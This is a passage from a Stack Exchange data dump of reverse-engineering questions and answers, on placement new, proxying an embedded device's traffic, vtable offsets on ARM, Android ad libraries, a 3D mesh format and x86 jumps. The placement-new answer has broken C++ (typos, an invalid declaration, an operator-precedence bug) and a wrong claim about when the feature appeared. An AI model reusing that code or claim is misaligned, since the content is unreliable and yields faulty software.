  <row Id="4411" PostTypeId="2" ParentId="4402" CreationDate="2014-05-22T15:24:48.320" Score="1" Body="&lt;p&gt;This is called &quot;placement &lt;code&gt;new&lt;/code&gt;&quot; and was introduced in C++03.  The way it works is that one can have, say a C++ class around a set of hardware registers and then use &lt;em&gt;placement &lt;code&gt;new&lt;/code&gt;&lt;/em&gt; to put the class exactly atop those hardware registers.  For example, if a hardware-based hardware Random Number Generator (RNG) is defined using 32-bit Control Register, Status Register and Data Register all starting at offset 0x50000600, you could define a class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RNG_class&#xA;{&#xA;private:&#xA;  volatile uint32_t CR;  // set to 1 to enable&#xA;  volatile uint32_t SR;  // low bit set when next num available&#xA;  volatile uint32_t DR:&#xA;public;&#xA;  RNG_class() : CR(1) {} &#xA;  uint32_t next() { while (SR&amp;amp;1 == 0); return DR; }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Elsewhere, then one can instantiate this class as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RNG_class RNG* = new(0x50000600) RNG_class();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And one can use it as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r = RNG-&amp;gt;next();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/questions/222557/what-uses-are-there-for-placement-new&quot;&gt;this question&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-06-04T18:25:38.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4412" PostTypeId="1" CreationDate="2014-05-22T16:07:10.903" Score="4" ViewCount="1613" Body="&lt;p&gt;I have an embedded device which connects to the Internet using TCP and UDP using custom protocols on a series of ports along with DHCP, DNS, NTP and ICMP pings. It has two interfaces - a GPRS modem and a Ethernet socket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to build a proxy so that I can tamper with the communications on the Ethernet side. This would ideally be a framework that allows be to either chose to forward or intercept and modify communications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was surprised when I couldn't find any tools, frameworks or tutorials to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any guidance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: this is relevant to reverse engineering because the custom protocols are not understood. By MITMing the connection, it would enable a better understanding of the protocols e.g. what happens when a packet goes missing? Is what appears to be a sequence number important? etc.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2014-05-22T19:12:19.740" LastActivityDate="2014-05-22T20:15:13.497" Title="Proxy for TCP/UDP connections from embedded device to Internet" Tags="|embedded|proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4413" PostTypeId="2" ParentId="4412" CreationDate="2014-05-22T16:29:01.130" Score="2" Body="&lt;p&gt;I assume that &quot;connects to the internet&quot; just means &quot;uses DHCP to find IP parameters, then uses what it has found to send TCP/UDP packets&quot;. I doubt the device actually checks if &quot;the internet&quot; is reachable, except that it possibly tries to connect a server whose IP address is found by DNS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So noone prevents you from using wireshark on your switches mirror port to trace what the device does on the network, or return some computers' IP as router when the device asks for it. After that, every packet goes to your computer where you can inspect, drop, or change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://mitmproxy.org/&quot; rel=&quot;nofollow&quot;&gt;mitmproxy&lt;/a&gt; project does this for http(s), and it comes with a library which should make it possible to re-write all TCP connections - i don't know if UDP works as well. In the documentation, there are many suggestions how to mess with routing tables to route the traffic through your computer, so it will probably be helpful no matter if you expand on their software or write your own.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-05-22T16:29:01.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4414" PostTypeId="1" CreationDate="2014-05-22T18:27:59.927" Score="1" ViewCount="194" Body="&lt;p&gt;I am currently reversing a binary and I am stuck at understanding what the application is trying to do. There is a memcpy operation which is copying almost 1MB from a .data section to a .bss section.  This operation is made in an initialising phase and I suspect that the code running subsequently is obfuscated. The reason I think this is that the subsequent code is very convoluted. Would the large memory block being loaded have anything to do with it being obfuscated, a virtual machine maybe? The code isn't junk afterwards but just too complicated to follow what it is doing. It doesn't seem to have any large jump tables so I am sure what I am looking at.&lt;/p&gt;&#xA;" OwnerUserId="4499" LastActivityDate="2014-05-23T15:01:49.650" Title="Large memcpy operation before possible obfuscation" Tags="|obfuscation|" AnswerCount="1" CommentCount="6" ClosedDate="2014-05-30T21:47:51.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="4415" PostTypeId="2" ParentId="4412" CreationDate="2014-05-22T20:15:13.497" Score="2" Body="&lt;p&gt;Another try if you want allot of control is &lt;a href=&quot;http://www.secdev.org/projects/scapy/&quot; rel=&quot;nofollow&quot;&gt;Scapy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-05-22T20:15:13.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4416" PostTypeId="1" CreationDate="2014-05-23T01:41:57.070" Score="4" ViewCount="564" Body="&lt;p&gt;When I see the assembly line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; MOV ESI, DWORD PTR DS:[EBP+0x8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, when Ollydbg shows me that &lt;code&gt;[EBP+0x8] = 00000000&lt;/code&gt;, then can I write it in C like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; int *esi = NULL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, should I use the stack address &lt;code&gt;EBP + 0x8&lt;/code&gt; which is &lt;code&gt;0x0012FF43&lt;/code&gt; and write something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; int *esi = &amp;amp;0012FF43&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would say that the first is the right answer, but I am very confused about that.&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="53" LastEditDate="2014-05-31T11:09:02.913" LastActivityDate="2016-08-22T16:59:10.747" Title="Transforming an assembly line into C" Tags="|assembly|c|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4418" PostTypeId="2" ParentId="4368" CreationDate="2014-05-23T04:19:24.343" Score="1" Body="&lt;p&gt;Hook the start of all functions that you're concerned might be recursive with EasyHook. Have your hooking function log the function address in the thread local storage (to avoid synchronisation issues) then look at either a full stack back trace or just the calling function. Recursive functions will be obvious.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2014-05-23T04:19:24.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4419" PostTypeId="2" ParentId="4416" CreationDate="2014-05-23T04:30:57.720" Score="3" Body="&lt;p&gt;Brackets mean 'contents of'... so it would be more like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int esi = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-or-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int esi = *(ebp+8); /* assuming ebp is correct */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-or-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int esi = (int)*(ebp+8); /* assuming ebp is (void*) or (char*)&#xA;                            we need to pull 4 bytes to get value */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would hope that &lt;code&gt;(EBP+0x8)&lt;/code&gt; would &lt;em&gt;not&lt;/em&gt; be &lt;code&gt;0x12FF43&lt;/code&gt;, as the stack pointer is supposed to be aligned to 4 or 8 byte addresses (4 for 32bit cpu's, 8 for 64bit, generally 16 byte aligned in 64bit though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Odd to see a &lt;code&gt;DS:&lt;/code&gt; modifier for the EBP register, as it's usually &lt;code&gt;SS:&lt;/code&gt;, only works well if &lt;code&gt;DS=SS&lt;/code&gt;, or both are &lt;code&gt;0&lt;/code&gt;.  Nitpicky, but you have to be when playing that close to the metal.&lt;/p&gt;&#xA;" OwnerUserId="2973" LastActivityDate="2014-05-23T04:30:57.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4420" PostTypeId="2" ParentId="4416" CreationDate="2014-05-23T04:47:57.227" Score="2" Body="&lt;p&gt;&lt;code&gt;[EBX+8]&lt;/code&gt; is the second &lt;code&gt;dword&lt;/code&gt; variable of this stack frame. If it's being put in &lt;code&gt;esi&lt;/code&gt; it's probably a pointer operation so maybe &lt;code&gt;memcpy(dest,src,0x100)&lt;/code&gt; would include that line if &lt;code&gt;src&lt;/code&gt; was set to &lt;code&gt;NULL&lt;/code&gt; after being declared &#xA;&lt;code&gt;char *src = argument;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the most realistic as you don't generally access esi directly from C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course in my example, &lt;code&gt;memcpy&lt;/code&gt; would segfault when &lt;code&gt;NULL&lt;/code&gt; was dereferenced.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastEditorUserId="53" LastEditDate="2014-05-31T11:54:30.680" LastActivityDate="2014-05-31T11:54:30.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4421" PostTypeId="2" ParentId="4414" CreationDate="2014-05-23T04:54:32.343" Score="1" Body="&lt;p&gt;I've taken this to mean that you want to know how to analyse further. Load it in IDA pro remotely debugging in a virtual machine (that you can throw away) and have it execute until eip is in an unanalysed region. Highlight, right click, analyse.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2014-05-23T04:54:32.343" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4422" PostTypeId="2" ParentId="4324" CreationDate="2014-05-23T04:59:05.710" Score="1" Body="&lt;p&gt;Have you considered using Microsoft's code to do it? Reverse the loader just enough to find the pointer that you're looking for once the image is loaded, stop it from executing any actual code beyond parsing the PE. The offset to your desired pointer in ntdll or wherever will be version-specific but you'll get a super-accurate parser.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2014-05-23T04:59:05.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4423" PostTypeId="2" ParentId="3144" CreationDate="2014-05-23T06:40:27.800" Score="3" Body="&lt;p&gt;If I was doing this, in the absence of any other information at all, the first thing I would do is connect the sub to its console, and then cut open the cable and hook up a logic analyser or even just use a CRO to see what is happening on each of the 15 lines, and try and identify:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Whether a line is even being used&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it is simply just power (3v3, 5 or even 12V) or ground.  These can then also be confirmed / differentiated from signal lines using a multimeter to trace back to the relevant traces on the circuit boards.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Attempt to guess what the protocol might be on each signal line&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would start with a CRO on each line to try and identify the voltages first, so as to avoid potentially frying something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last thing I would do is just connect directly to a Raspberry Pi and hope for the best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good tools for investigating unknown protocols include the Salae logic analyser (or clones), ant the OpenOCD software, and devices such as the Bus Pirate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given this is audio gear it is not out of the question that only a couple of pins are actually used, possibly with the I2S protocol, or something else entirely.&lt;/p&gt;&#xA;" OwnerUserId="4212" LastEditorUserId="53" LastEditDate="2014-05-23T06:56:42.377" LastActivityDate="2014-05-23T06:56:42.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4424" PostTypeId="2" ParentId="4404" CreationDate="2014-05-23T08:59:00.340" Score="2" Body="&lt;p&gt;You can use Dynamic Binary Instrumentation to achieve what you want as suggested by &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/1562/jason-geffner&quot;&gt;Jason Geffner&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://software.intel.com/sites/default/files/article/256671/pindroid-tutorial.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;PINdroid&lt;/a&gt; by Intel. Read this presentation on &lt;a href=&quot;http://www.mulliner.org/android/feed/binaryinstrumentationandroid_mulliner_summercon12.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android Binary Instrumentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4671" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-05-23T08:59:00.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4428" PostTypeId="1" AcceptedAnswerId="4451" CreationDate="2014-05-23T12:58:09.500" Score="4" ViewCount="4566" Body="&lt;p&gt;I used to think that the pointer to the Virtual Function Table (VFT, also Virtual Method Table, VMT) is the very first 32-bit word of the object binary representation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I see a VFT whose index is 13 (!!!!), that is, offset=0x34. (I write &quot;index&quot; because the code to invoke the Qt function &lt;code&gt;o.metaObject()&lt;/code&gt; is &lt;code&gt;((func***)o)[13][0](o)&lt;/code&gt;). OMG, what is going on? Why the VFT address is located... where?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT (after complaints that the question is unclear):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each object with virtual functions has a pointer to the Virtual Function Table. Usually, this is the very first 32-bit value in the object's binary representation (and may be accessed as &lt;code&gt;((void**)objAddr)[0]&lt;/code&gt;). But in the example below the offset of VMT pointer is not 0! (Function names may be demangled by &lt;a href=&quot;http://linux.die.net/man/1/c++filt&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;c++filt&lt;/code&gt;&lt;/a&gt;; for readability, the class names have been shortened to &lt;code&gt;Abc&lt;/code&gt; and &lt;code&gt;Xyz&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:02EF171C _ZN3XyzC2EP7QObject ; constructor Xyz::Xyz(QObject*), r0 = objAddr, r1 = QObject addr&#xA;.text:02EF171C                 PUSH.W          {R4-R8,LR}&#xA;.text:02EF1720                 MOV             R4, R0&#xA;.text:02EF1722                 LDR             R5, =(_GLOBAL_OFFSET_TABLE_ - 0x02EF1730)&#xA;.text:02EF1724                 MOV             R7, R1&#xA;.text:02EF1726                 BL.W            _ZN4AbcdC2EP7QObject ; superclass_constructor(objAddr)&#xA;.text:02EF172A ; ---------------------------------------------------------------------------&#xA;.text:02EF172A                 LDR             R3, =(_ZTVN3XyzE_ptr - 0x27E4BE0) ; vtable for Xyz&#xA;.text:02EF172C                 ADD             R5, PC ; _GLOBAL_OFFSET_TABLE_&#xA;.text:02EF172E                 MOV             R6, R4&#xA;.text:02EF1730                 MOV             R1, R7&#xA;.text:02EF1732                 LDR             R3, [R5,R3] ; _ZTVN3XyzE_ptr ; pointer to vtable for Xyz&#xA;.text:02EF1734                 ADDS            R3, #8 ; *_ptr points to the (-2)nd element of VMT&#xA;.text:02EF1736                 STR.W           R3, [R6],#0x34 ; OOPS! the offset is 0x34 !!!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I want to be able to locate the pointer to VMT for any object,&lt;/em&gt; but as the example above shows, the pointer to VMT is not necessarily &lt;code&gt;((void**)objAddr)[0]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;strong&gt;&lt;em&gt;why the VMT pointer is in the middle of the object's binary representation?&lt;/em&gt;&lt;/strong&gt; There must be something specific about this place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;strong&gt;&lt;em&gt;how do I find out where the VMT pointer actually is?&lt;/em&gt;&lt;/strong&gt; (Ideally, at run-time given the object address. I have the code to tell a valid address from an invalid one. I'm interested in GCC for Android/ARM, although techniques for different platforms may turn out to be applicable.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS the code to detect a valid address on Android is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;fcntl.h&amp;gt;&#xA;int isValidPtr(const void*p, int len) {&#xA;    if (!p) { return 0; }&#xA;    int ret = 1;&#xA;    int nullfd = open(&quot;/dev/random&quot;, O_WRONLY); // does not work with /dev/null !!!&#xA;    if (write(nullfd, p, len) &amp;lt; 0) {&#xA;        ret = 0; /* Not OK */&#xA;    }&#xA;    close(nullfd);&#xA;    return ret;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following example, the VMT offset is 0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Base {&#xA;public:&#xA;  int x,y;&#xA;};&#xA;class Derived: public Base {&#xA;public:&#xA;  int z;&#xA;  Derived();&#xA;  virtual int func();&#xA;  virtual int func2();&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Coercion from &lt;code&gt;Base*&lt;/code&gt; to &lt;code&gt;Derived*&lt;/code&gt; compiles to: &lt;code&gt;SUBS R0, #4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int test3(Base*b) {&#xA;    Derived*d = (Derived*)b;&#xA;    int r = addDerived(*d);&#xA;    return r;&#xA;}&#xA;&#xA; ; test3(Base *)&#xA; _Z5test3P4Base&#xA; CBZ             R0, loc_1C7A&#xA; SUBS            R0, #4&#xA; B.W             _Z10addDerivedR7Derived ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct Cls2 {&#xA;    unsigned x[13];&#xA;    Derived d;&#xA;    Cls2();&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here's the disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00001CE2 _ZN4Cls2C2Ev ; Cls2::Cls2(void)&#xA;.text:00001CE2                 PUSH            {R4,LR}&#xA;.text:00001CE4                 MOV             R4, R0&#xA;.text:00001CE6                 ADD.W           R0, R0, #0x34&#xA;.text:00001CEA                 BL              _ZN7DerivedC2Ev ; Derived::Derived(void)&#xA;.text:00001CEE                 MOV             R0, R4&#xA;.text:00001CF0                 POP             {R4,PC}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is, the VFT pointer of &lt;code&gt;Cls2::d&lt;/code&gt; will indeed be at offset 0x34, but there's no &lt;code&gt;STR.W R3,[R6],#0x34&lt;/code&gt;, so it is not #2 suggested by Willem Hengeveld.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT if we comment out the constructor,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct Cls2 {&#xA;    unsigned x[13];&#xA;    Derived d;&#xA;//    Cls2();&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int testCls2() {&#xA;    Cls2 c;&#xA;    return c.d.func2();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00001C9E _Z8testCls2v&#xA;.text:00001C9E var_18          = -0x18&#xA;.text:00001C9E                 PUSH            {LR}&#xA;.text:00001CA0                 SUB             SP, SP, #0x4C&#xA;.text:00001CA2                 ADD             R0, SP, #0x50+var_18&#xA;.text:00001CA4                 BL              _ZN7DerivedC2Ev ; Derived::Derived(void)&#xA;.text:00001CA8                 ADD             R0, SP, #0x50+var_18&#xA;.text:00001CAA                 BL              _ZN7Derived5func2Ev ; Derived::func2(void)&#xA;.text:00001CAE                 ADD             SP, SP, #0x4C&#xA;.text:00001CB0                 POP             {PC}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is very similar to the original code&#xA;BUT in my case the VMT &lt;code&gt;vtable for Xyz&lt;/code&gt; is written from &lt;code&gt;Xyz::Xyz()&lt;/code&gt; and not from the enclosing function.&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="4398" LastEditDate="2014-05-27T06:19:01.387" LastActivityDate="2014-05-27T10:42:31.353" Title="Where the pointer to virtual function table is located?" Tags="|c++|arm|virtual-functions|gcc|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4430" PostTypeId="1" CreationDate="2014-05-23T13:08:29.213" Score="1" ViewCount="191" Body="&lt;p&gt;I am analysing Android ad libraries. I have downloaded apps from Google play and used &lt;a href=&quot;http://code.google.com/p/dex2jar/&quot; rel=&quot;nofollow&quot;&gt;dex2jar&lt;/a&gt; and &lt;a href=&quot;http://jd.benow.ca/&quot; rel=&quot;nofollow&quot;&gt;JDGUI&lt;/a&gt; to recover the Java code of the app. As expected a lot of apps use ad libraries (such ad Google Ads, Inmobi, Millenalmedia etc.). As one would expect, ad libraries come in different versions (for eg. the latest version of inmobi is &lt;a href=&quot;http://www.inmobi.com/products/sdk/&quot; rel=&quot;nofollow&quot;&gt;4.3&lt;/a&gt;). Some apps that I downloaded use Inmobi 4.3 but a larger no. of apps use older versions of Inmobi (staring from version 3.6). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, I wish to &lt;strong&gt;find the version of the ad library&lt;/strong&gt; contained in apps. One novice approach is to search for the string &quot;version&quot; inside the app. Is there any better way of doing it? Will the ad libraries typically mention/register their version with Android framework through some code snippet? If so, I could search for that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest some professional/appropriate way of doing it.&lt;/p&gt;&#xA;" OwnerUserId="4612" LastEditorUserId="53" LastEditDate="2014-07-21T15:40:49.530" LastActivityDate="2019-02-12T17:45:12.513" Title="How to find the version number of Android Ad libraries from reverse engineered apps?" Tags="|android|java|libraries|software-security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4431" PostTypeId="5" CreationDate="2014-05-23T13:16:18.280" Score="0" Body="&lt;p&gt;In Object-Oriented Programming, a virtual function is a function that is initially defined in a base class, and can be redefined in derived classes, so that when a virtual function is invoked, the function defined in the receiver's class is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in Java the virtual function &lt;code&gt;toString()&lt;/code&gt; is defined in the root class &lt;code&gt;Object&lt;/code&gt;, and any class may redefine this function to provide a meaningful text representation of an object of that class. (Some classes do not redefine &lt;code&gt;toString()&lt;/code&gt;, using the default implementation instead.)&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="4398" LastEditDate="2014-05-23T14:55:59.027" LastActivityDate="2014-05-23T14:55:59.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4432" PostTypeId="4" CreationDate="2014-05-23T13:16:18.280" Score="0" Body="In Object-Oriented Programming, a virtual function is initially defined in a base class, and can be redefined in derived classes, so that when a virtual function is invoked, the function defined in the receiver's class is executed." OwnerUserId="4398" LastEditorUserId="4398" LastEditDate="2014-05-24T03:53:49.127" LastActivityDate="2014-05-24T03:53:49.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4434" PostTypeId="1" AcceptedAnswerId="4435" CreationDate="2014-05-23T16:04:07.677" Score="2" ViewCount="691" Body="&lt;p&gt;I am reverse engineering a 3d file format for a game. I know the file is a mesh since I was able to identify the XYZ Coordinates for each vector as well as the MeshFaces. Each Vector XYZ Coordinate has 3 floats like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[this is pulled from an actual file]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;41FC39C0 73480640 3AC87240 6038BF3E DF545D3F E620ACBE 00000000 0000403F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the float representation of the hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-2.9060214 2.0981719 3.7934709 = X Y Z&#xA;0.37347698 0.86457628 -0.3361885 0.0 0.75 = Not sure what this this is.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to say the first 2 values could possibly be &lt;code&gt;tU&lt;/code&gt;, &lt;code&gt;tV&lt;/code&gt; values, but from what I know with DirectX, texture coordinates are usually between 0 and 1. Even though this file, the numbers fit between, I could bring up another file when those first 2 numbers are something like -.50 or even above 1 so I can't say they are text coordinates for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last 3 values I have no idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This 3d Mesh File is for a online game that uses a custom built DirectX 9 engine and from what I gather so far, is loosely based on Direct3D's .X file specifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to pull out the XYZ coordinates into a list that can be imported into Cinema 4D and I have confirmed the XYZ is accurate based on the object that is drawn. In this case, a rock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is floats for the first 3 data points within this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. -2.9060214 2.0981719 3.7934709 0.37347698 0.86457628 -0.3361885 0.0 0.75&#xA;2. -2.7679636 2.0897043 2.6395969 0.16878456 0.98563963 5.1173517e-003 0.0 0.5&#xA;3. -2.7679636 6.2550635 2.7174740 0.20584901 -0.96193141 -0.17976092 1.0 0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From my experience with reverse engineering 3D date, if a floating point number is exponential, it most likely is being read wrong, so the '5.1173517e-003' on the 2nd line towards the end may not even be a floating point number, but then its other possible values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INT8    117&#xA;UINT8   117&#xA;INT16   -20619&#xA;UINT16  44917&#xA;INT32   1000845173&#xA;UINT32  1000845172&#xA;HALF FLOAT -0.11651611&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;don't make much sense either.&lt;/p&gt;&#xA;" OwnerUserId="4710" LastEditorUserId="53" LastEditDate="2014-05-23T17:07:44.587" LastActivityDate="2014-05-28T19:36:56.707" Title="What kind of data is this within this 3D mesh file format?" Tags="|binary-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4435" PostTypeId="2" ParentId="4434" CreationDate="2014-05-23T17:54:37.900" Score="4" Body="&lt;p&gt;I think the second vector of three floats is the &lt;a href=&quot;http://en.wikipedia.org/wiki/Normal_vector&quot; rel=&quot;nofollow&quot;&gt;normal vector&lt;/a&gt;. Which is basically the front facing direction of the vertex. It looks like the length is 1 so it's normalized which would correspond well with what you'd expect of a normal vector. The last two I believe are &lt;a href=&quot;http://en.wikipedia.org/wiki/UV_mapping&quot; rel=&quot;nofollow&quot;&gt;UV mapping&lt;/a&gt; coordinates for texturing but it's hard to be positive without full data files.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-05-23T18:02:12.257" LastActivityDate="2014-05-23T18:02:12.257" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4436" PostTypeId="1" AcceptedAnswerId="4437" CreationDate="2014-05-23T23:44:57.003" Score="3" ViewCount="4144" Body="&lt;p&gt;I wanted to know if a jump instruction as &lt;code&gt;JE&lt;/code&gt; must directly follow to a &lt;code&gt;CMP&lt;/code&gt; instruction. Until now, I did always see that first a &lt;code&gt;CMP&lt;/code&gt; comes and after that a &lt;code&gt;JMP&lt;/code&gt;. But today I have discover the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;CMP DWORD PTR SS:[EBP+0xC], EAX&#xA;MOV ECX, DWORD PTR SS:[EBP+0x18]&#xA;PUSH ESI&#xA;MOV ECX, DWORD PTR SS:[EBP+0x18]&#xA;MOV DWORD PTR SS:[ECX],EAX &#xA;MOV EAX, DWORD PTR SS:[EBP+0x10]&#xA;MOV DWORD PTR SS:[EDI], 0x1&#xA;JE SHORT crtdll.6C250E66&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First of all, I am beginner. So, I try to understand the assembly language. Logically, I would say that the &lt;code&gt;JE&lt;/code&gt; instruction is related to the &lt;code&gt;CMP&lt;/code&gt; instruction at the beginning of that 